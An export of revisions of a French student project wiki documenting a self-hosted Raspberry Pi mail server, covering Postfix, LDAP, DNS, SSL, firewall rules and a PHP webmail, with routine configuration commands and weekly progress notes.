===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26841</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26841"/>
				<updated>2016-02-10T09:24:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 19 (08/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
